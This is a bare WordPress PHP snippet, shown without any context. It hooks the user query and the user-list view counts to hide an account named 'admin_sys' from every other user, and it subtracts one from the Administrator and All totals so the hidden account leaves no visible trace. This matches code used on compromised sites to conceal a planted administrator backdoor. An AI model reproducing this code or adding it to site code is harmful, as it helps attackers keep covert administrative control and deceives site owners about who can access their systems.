add_action( 'pre_user_query', 'site_pre_user_query_by' );

function site_pre_user_query_by( $user_search ) {
    global $current_user, $wpdb;

    if ( $current_user->user_login !== 'admin_sys' ) {
        $user_search->query_where = str_replace(
            'WHERE 1=1',
            "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin_sys'",
            $user_search->query_where
        );
    }
}

add_filter( 'views_users', 'site_list_table_views_by' );

function site_list_table_views_by( $views ) {
    $users      = count_users();
    $admins_num = $users['avail_roles']['administrator'] - 1;
    $all_num    = $users['total_users'] - 1;

    $is_adm = strpos( $views['administrator'], 'current' ) === false ? '' : 'current';
    $is_all = strpos( $views['all'], 'current' ) === false ? '' : 'current';

    $views['administrator'] = '<a href="users.php?role=administrator" class="' . $is_adm . '">' .
        translate_user_role( 'Administrator' ) . ' <span class="count">(' . $admins_num . ')</span></a>';
    $views['all'] = '<a href="users.php" class="' . $is_all . '">' .
        __( 'All' ) . ' <span class="count">(' . $all_num . ')</span></a>';

    return $views;
}
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